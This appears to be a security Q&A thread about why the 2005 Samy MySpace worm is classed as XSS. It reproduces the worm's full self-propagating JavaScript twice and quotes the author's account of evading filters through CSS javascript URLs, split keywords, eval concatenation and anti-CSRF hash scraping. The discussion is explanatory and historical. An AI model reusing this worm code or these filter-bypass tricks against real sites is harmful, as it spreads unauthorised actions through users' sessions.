4

Last night I was browsing notable computer attacks and came across the Samy worm, which apparently affected a huge portion of the MySpace network -- over one million users in under 24 hours, according to the perpetrator's story.

On his website, he offers a step-by-step look at how he developed the code, as well as the full source. I spent last night de-obfuscating it and looking at it to see how it worked. What I don't understand is why it's classified as an XSS attack? Nothing in the code is changing the origin or injecting code from another website into MySpace; everything is happening directly with MySpace URLs.

Can someone explain this to me? (Also, if you can explain what the purpose of function nothing() {} is, that would be an awesome bonus.)

The code, more properly formatted, is below:

<div id=mycode style="BACKGROUND: url('javascript:eval(document.all.mycode.expr)')" expr="

var B = String.fromCharCode(34);
var A = String.fromCharCode(39);

function g() {
    var C;
    try {
        var D = document.body.createTextRange();
        C = D.htmlText
    }
    catch(e){}

    if(C) {
        return C
    } else {
        return eval('document.body.inne'+'rHTML')
    }
}

function getData(AU) {
    M = getFromURL(AU,'friendID');
    L = getFromURL(AU,'Mytoken')
}

function getQueryParams() {
    var E = document.location.search;
    var F = E.substring(1,E.length).split('&');
    var AS = new Array();
    for(var O = 0; O < F.length; O++) {
        var I=F[O].split('=');
        AS[I[0]]=I[1]
    }
    return AS
}

var J;
var AS = getQueryParams();
var L = AS['Mytoken'];
var M = AS['friendID'];

if(location.hostname=='profile.myspace.com') {
    document.location='http://www.myspace.com'+location.pathname+location.search
}
else {
    if(!M) {
        getData(g())
    }
    main()
}

function getClientFID() {
    return findIn(g(),'up_launchIC( '+A,A)
}

function nothing() {}

function paramsToString(AV) {
    var N = new String();
    var O = 0;
    for(var P in AV) {
        if(O>0) {
            N+='&'
        }
        var Q = escape(AV[P]);
        while(Q.indexOf('+')!=-1) {
            Q = Q.replace('+','%2B')
        }
        while(Q.indexOf('&')!=-1) {
            Q = Q.replace('&','%26')
        }
        N += P + '=' + Q;
        O++
    }

    return N
}

function httpSend(BH,BI,BJ,BK) {
    if(!J) {
        return false
    }

    eval('J.onr'+'eadystatechange=BI');
    J.open(BJ,BH,true);

    if(BJ=='POST') {
        J.setRequestHeader('Content-Type','application/x-www-form-urlencoded');
        J.setRequestHeader('Content-Length',BK.length)
    }

    J.send(BK);

    return true
}

function findIn(BF,BB,BC) {
    var R = BF.indexOf(BB) + BB.length;
    var S = BF.substring(R,R+1024);
    return S.substring(0,S.indexOf(BC))
}

function getHiddenParameter(BF,BG) {
    return findIn(BF,'name='+B+BG+B+' value='+B,B)
}

function getFromURL(BF,BG) {
    var T;
    if(BG=='Mytoken') {
        T = B
    } else {
        T='&'
    }

    var U = BG + '=';
    var V = BF.indexOf(U) + U.length;
    var W = BF.substring(V,V+1024);
    var X = W.indexOf(T);
    var Y = W.substring(0,X);
    return Y
}

function getXMLObj() {
    var Z = false;
    if(window.XMLHttpRequest) {
        try {
            Z = new XMLHttpRequest()
        } catch(e) {
            Z=false
        }
    } else if(window.ActiveXObject) {
        try {
            Z = new ActiveXObject('Msxml2.XMLHTTP')
        } catch(e){
            try {
                Z = new ActiveXObject('Microsoft.XMLHTTP')
            } catch(e) {
                Z = false
            }
        }
    }

    return Z
}

var AA = g();
var AB = AA.indexOf('m'+'ycode');
var AC = AA.substring(AB,AB+4096);
var AD = AC.indexOf('D'+'IV');
var AE = AC.substring(0,AD);
var AF;
if(AE) {
    AE = AE.replace('jav'+'a',A+'jav'+'a');
    AE = AE.replace('exp'+'r)','exp'+'r)'+A);
    AF=' but most of all, samy is my hero. <d'+'iv id='+AE+'D'+'IV>'
}
var AG;

function getHome() {
    if(J.readyState!=4) {
        return
    }
    var AU = J.responseText;
    AG = findIn(AU,'P'+'rofileHeroes','</td>');
    AG = AG.substring(61,AG.length);
    if(AG.indexOf('samy') == -1) {
        if(AF) {
            AG += AF;
            var AR = getFromURL(AU,'Mytoken');
            var AS = new Array();
            AS['interestLabel'] = 'heroes';
            AS['submit'] = 'Preview';
            AS['interest'] = AG;
            J = getXMLObj();
            httpSend('/index.cfm?fuseaction=profile.previewInterests&Mytoken='+AR,postHero,'POST',paramsToString(AS))
        }
    }
}

function postHero() {
    if(J.readyState!=4) {
        return
    }
    var AU = J.responseText;
    var AR = getFromURL(AU,'Mytoken');
    var AS = new Array();
    AS['interestLabel'] = 'heroes';
    AS['submit'] = 'Submit';
    AS['interest'] = AG;
    AS['hash'] = getHiddenParameter(AU,'hash');
    httpSend('/index.cfm?fuseaction=profile.processInterests&Mytoken='+AR,nothing,'POST',paramsToString(AS))
}

function main() {
    var AN = getClientFID();
    var BH = '/index.cfm?fuseaction=user.viewProfile&friendID='+AN+'&Mytoken='+L;
    J = getXMLObj();
    httpSend(BH,getHome,'GET');
    xmlhttp2 = getXMLObj();
    httpSend2('/index.cfm?fuseaction=invite.addfriend_verify&friendID=11851658&Mytoken='+L,processxForm,'GET')
}

function processxForm() {
    if(xmlhttp2.readyState!=4) {
        return
    }
    var AU = xmlhttp2.responseText;
    var AQ = getHiddenParameter(AU,'hashcode');
    var AR = getFromURL(AU,'Mytoken');
    var AS = new Array();
    AS['hashcode'] = AQ;
    AS['friendID'] = '11851658';
    AS['submit'] = 'Add to Friends';
    httpSend2('/index.cfm?fuseaction=invite.addFriendsProcess&Mytoken='+AR,nothing,'POST',paramsToString(AS))
}

function httpSend2(BH,BI,BJ,BK) {
    if(!xmlhttp2){
        return false
    } eval('xmlhttp2.onr'+'eadystatechange=BI');
    xmlhttp2.open(BJ,BH,true);
    if(BJ=='POST') {
        xmlhttp2.setRequestHeader('Content-Type','application/x-www-form-urlencoded');
        xmlhttp2.setRequestHeader('Content-Length',BK.length)
    }
    xmlhttp2.send(BK);
    return true
}

"></DIV>
  • 8
    The real news here is that I can't believe a million people still use MySpace. – AJ Henderson Jun 12 '13 at 13:38
  • @AJHenderson Haha, it was back in 2005. The fact that I have to say "back in" makes me feel old. – asteri Jun 12 '13 at 13:40
  • 1
    The noting() function is probably just a replacement for a callback function that is supposed to be processed on httpSend() function's POST method. Without seeing the MySpace response code, it's difficult to judge, but my guess would be to prevent user notification on addy events. – TildalWave Jun 12 '13 at 13:58
  • XSS doesnt have to between two sites. In fact, the most classic example of an xss would be <script>alert("xss")</script> with an open and close script tag – user96216 Jan 6 '16 at 22:55
10

XSS has a weird name. You don't need multiple websites for it.

XSS essentially the html equivalent of SQL-injection. When a website outputs some attacker controlled text into a html document without encoding entities like <, > or " the attacker can inject hostile javascript into the html document which will run in the context of that document.

If you think of it as HTML-injection or javacript-injection it becomes much clearer what it is.

  • Ah, I see. I thought it was specifically "cross-site". That does make much more sense. – asteri Jun 12 '13 at 15:21
  • 1
    It is in a sense cross site. The script came from Samy, not myspace. – Erlend Jun 12 '13 at 21:07
2

XSS has always been a misnomer. It really should have always been called "HTML injection" or "web page markup injection" or "web page script injection".

One of the main potential results of script injection is indeed arbitrary cross-site scripting, which really just means cross-domain scripting. But of course, "web application worms" of this nature stay entirely within their own domain.

1

XSS doesn't necessarily have to be from one site to another. It simply means that user input is able to be used in such a way that it updates content of the site to make it compromised and try to attack those entering the site. It uses the trust of the victim website to get the victim users to run it.

In this case, he was able to submit information to MySpace that made people's MySpace get updated with the worm, which in turn posted the worm in to their content. If MySpace had had better protection against XSS, then it shouldn't have been possible for the worm to be hosted by entry in the profile.

0

I can not explain but here is the link to the blog (Via Wayback machine) with a technical explanation of myspace worm.

https://web.archive.org/web/20051016001131/http://namb.la/popular/tech.html

Text from a blog in case you want to read it here:

Actually, let's talk more about the problems encountered, workarounds, and how it worked in general:

1) Myspace blocks a lot of tags. In fact, they only seem to allow <a>, <img>s, and <div>s...maybe a few others (<embed>'s, I think). They wouldn't allow <script>s, <body>s, onClicks, onAnythings, href's with javascript, etc...However, some browsers (IE, some versions of Safari, others) allow javascript within CSS tags. We needed javascript to get any of this to even work.

Example: <div style="background:url('javascript:alert(1)')">

2) We couldn't use quotes within the div because we had already used up single quotes and double quotes already. This made coding JS very difficult. In order to get around it, we used an expression to store the JS and then executed it by name.

Example: <div id="mycode" expr="alert('hah!')" style="background:url('javascript:eval(document.all.mycode.expr)')">

3) Sweet! Now we can do javascript with single quotes. However, myspace strips out the word "javascript" from ANYWHERE. To get around this, some browsers will actually interpret "java\nscript" as "javascript" (that's java<NEWLINE>script).

Example:

<div id="mycode" expr="alert('hah!')" style="background:url('java
script:eval(document.all.mycode.expr)')">

4) Okay, while we do have single quotes working, we sometimes NEED double-quotes. We'll just escape quotes, e.g., "foo\"bar". Myspace got me...they STRIP OUT all escaped quotes, whether single or double. However, we can just convert decimal to ASCII in JavaScript to actually produce the quotes.

Example:

<div id="mycode" expr="alert('double quote: ' + String.fromCharCode(34))" style="background:url('java
script:eval(document.all.mycode.expr)')">

5) In order to post the code to the user's profile who is viewing it, we need to actually get the source of the page. Ah, we can use document.body.innerHTML in order to get the page source which includes, in only one spot, the ID of the user viewing the page. Myspace gets me again and strips out the word "innerHTML" anywhere. To avoid this, we use an eval() to evaluate two strings and put them together to form "innerHTML".

Example: alert(eval('document.body.inne' + 'rHTML'));

6) Time to actually access other pages. We would use iframes, but usually (even when hidden), iframes aren't as useful and are more obvious to the user that "something else" is going on. So, we use XML-HTTP in order for the actual client to make HTTP GETs and POSTs to pages. However, myspace strips out the word "onreadystatechange" which is necessary for XML-HTTP requests. Again, we can use an eval to evade this. Another plus to XML-HTTP is that the necessary cookies required to perform actions on myspace are passed along without any hassle.

Example: eval('xmlhttp.onread' + 'ystatechange = callback');

7) Time to perform a GET on the user's profile so that we can get their current list of heroes. We don't want to remove any heroes, we just want to append myself to their pre-existing list of heroes. If we GET their profile, we can grab their heroes and store it for later. With all the above figured out, this is simple with an XML-HTTP request except that we have to get the friend ID of the actual user viewing a profile. Like we said above, we can do this by grabbing the source of the page we're on. However, now we need to perform a search on the page for a specific word to find it. So we perform this search, however if we do this, we may end up finding our actual code since it contains the same exact word we're looking for...because saying "if this page contains 'foo', do this", that will always return true because it can always find foo within the actual code that does the searching. Another eval() with a combination of strings avoids this problem.

Example: var index = html.indexOf('frien' + 'dID');

8) At this point, we have a list of heroes. First, let's add me as a friend by performing an XML-HTTP POST on the addFriends page. Oh no, this doesn't work! Why not? We're on profile.myspace.com, however, the POSTing needs to be done on www.myspace.com. No big deal, however, XML-HTTP won't allow GETs/POSTs to sites with a different domain name. To get around this, let's actually go to the same URL but on www.myspace.com. You can still view profiles from www.myspace.com, so reloading the page on the domain we want to be on allows us to do the POST.

Example: if (location.hostname == 'profile.myspace.com') document.location = 'http://www.myspace.com' + location.pathname + location.search;

9) Finally, we can do a POST! However, when we send the post, it never actually adds a friend. Why not? Myspace generates a random hash on a pre-POST page (for example, the "Are you sure you want to add this user as a friend" page). If this hash is not passed along with the POST, the POST is not successful. To get around this, we mimic a browser and send a GET to the page right before adding the user, parse the source for the hash, then perform the POST while passing the hash.

10) Once the POST is complete, we also want to add a hero and the actual code. The code will end up going into the same place where the hero goes so we'll only need one POST for this.

However, we need to pre-GET a page in order to get a new hash. But first, we have to actually reproduce the code that we want to POST. The easiest way to do this is to actually grab the source of the profile we're on, parse out the code, and then POST. This works except now all sorts of things are garbled! Ah, we need to URL-encode/escape the actual code in order to POST it properly.

Weird, still doesn't work. Apparently javascript's URL-encoding and escape() function doesn't escape everything necessary so we'll need to manually do some replacing here in order to get the necessary data escaped. We add a little "but most of all, samy is my hero." to the mix, append all the code right after, and voila. We have self-reproducing code, a worm if you will.

11) Other limits, such as a maximum length, imposed other problems and required tight code, no spaces, obfuscated names, reusable functions, etc..

There were a few other complications and things to get around. This was not by any means a straight forward process, and none of this was meant to cause any damage or piss anyone off. This was in the interest of..interest. It was interesting and fun!

And in the end, there was code:

<div id=mycode style="BACKGROUND: url('java
script:eval(document.all.mycode.expr)')" expr="var B=String.fromCharCode(34);var A=String.fromCharCode(39);function g(){var C;try{var D=document.body.createTextRange();C=D.htmlText}catch(e){}if(C){return C}else{return eval('document.body.inne'+'rHTML')}}function getData(AU){M=getFromURL(AU,'friendID');L=getFromURL(AU,'Mytoken')}function getQueryParams(){var E=document.location.search;var F=E.substring(1,E.length).split('&');var AS=new Array();for(var O=0;O<F.length;O++){var I=F[O].split('=');AS[I[0]]=I[1]}return AS}var J;var AS=getQueryParams();var L=AS['Mytoken'];var M=AS['friendID'];if(location.hostname=='profile.myspace.com'){document.location='http://www.myspace.com'+location.pathname+location.search}else{if(!M){getData(g())}main()}function getClientFID(){return findIn(g(),'up_launchIC( '+A,A)}function nothing(){}function paramsToString(AV){var N=new String();var O=0;for(var P in AV){if(O>0){N+='&'}var Q=escape(AV[P]);while(Q.indexOf('+')!=-1){Q=Q.replace('+','%2B')}while(Q.indexOf('&')!=-1){Q=Q.replace('&','%26')}N+=P+'='+Q;O++}return N}function httpSend(BH,BI,BJ,BK){if(!J){return false}eval('J.onr'+'eadystatechange=BI');J.open(BJ,BH,true);if(BJ=='POST'){J.setRequestHeader('Content-Type','application/x-www-form-urlencoded');J.setRequestHeader('Content-Length',BK.length)}J.send(BK);return true}function findIn(BF,BB,BC){var R=BF.indexOf(BB)+BB.length;var S=BF.substring(R,R+1024);return S.substring(0,S.indexOf(BC))}function getHiddenParameter(BF,BG){return findIn(BF,'name='+B+BG+B+' value='+B,B)}function getFromURL(BF,BG){var T;if(BG=='Mytoken'){T=B}else{T='&'}var U=BG+'=';var V=BF.indexOf(U)+U.length;var W=BF.substring(V,V+1024);var X=W.indexOf(T);var Y=W.substring(0,X);return Y}function getXMLObj(){var Z=false;if(window.XMLHttpRequest){try{Z=new XMLHttpRequest()}catch(e){Z=false}}else if(window.ActiveXObject){try{Z=new ActiveXObject('Msxml2.XMLHTTP')}catch(e){try{Z=new ActiveXObject('Microsoft.XMLHTTP')}catch(e){Z=false}}}return Z}var AA=g();var AB=AA.indexOf('m'+'ycode');var AC=AA.substring(AB,AB+4096);var AD=AC.indexOf('D'+'IV');var AE=AC.substring(0,AD);var AF;if(AE){AE=AE.replace('jav'+'a',A+'jav'+'a');AE=AE.replace('exp'+'r)','exp'+'r)'+A);AF=' but most of all, samy is my hero. <d'+'iv id='+AE+'D'+'IV>'}var AG;function getHome(){if(J.readyState!=4){return}var AU=J.responseText;AG=findIn(AU,'P'+'rofileHeroes','</td>');AG=AG.substring(61,AG.length);if(AG.indexOf('samy')==-1){if(AF){AG+=AF;var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['interestLabel']='heroes';AS['submit']='Preview';AS['interest']=AG;J=getXMLObj();httpSend('/index.cfm?fuseaction=profile.previewInterests&Mytoken;='+AR,postHero,'POST',paramsToString(AS))}}}function postHero(){if(J.readyState!=4){return}var AU=J.responseText;var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['interestLabel']='heroes';AS['submit']='Submit';AS['interest']=AG;AS['hash']=getHiddenParameter(AU,'hash');httpSend('/index.cfm?fuseaction=profile.processInterests&Mytoken;='+AR,nothing,'POST',paramsToString(AS))}function main(){var AN=getClientFID();var BH='/index.cfm?fuseaction=user.viewProfile&friendID;='+AN+'&Mytoken;='+L;J=getXMLObj();httpSend(BH,getHome,'GET');xmlhttp2=getXMLObj();httpSend2('/index.cfm?fuseaction=invite.addfriend_verify&friendID;=11851658&Mytoken;='+L,processxForm,'GET')}function processxForm(){if(xmlhttp2.readyState!=4){return}var AU=xmlhttp2.responseText;var AQ=getHiddenParameter(AU,'hashcode');var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['hashcode']=AQ;AS['friendID']='11851658';AS['submit']='Add to Friends';httpSend2('/index.cfm?fuseaction=invite.addFriendsProcess&Mytoken;='+AR,nothing,'POST',paramsToString(AS))}function httpSend2(BH,BI,BJ,BK){if(!xmlhttp2){return false}eval('xmlhttp2.onr'+'eadystatechange=BI');xmlhttp2.open(BJ,BH,true);if(BJ=='POST'){xmlhttp2.setRequestHeader('Content-Type','application/x-www-form-urlencoded');xmlhttp2.setRequestHeader('Content-Length',BK.length)}xmlhttp2.send(BK);return true}"></DIV>

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.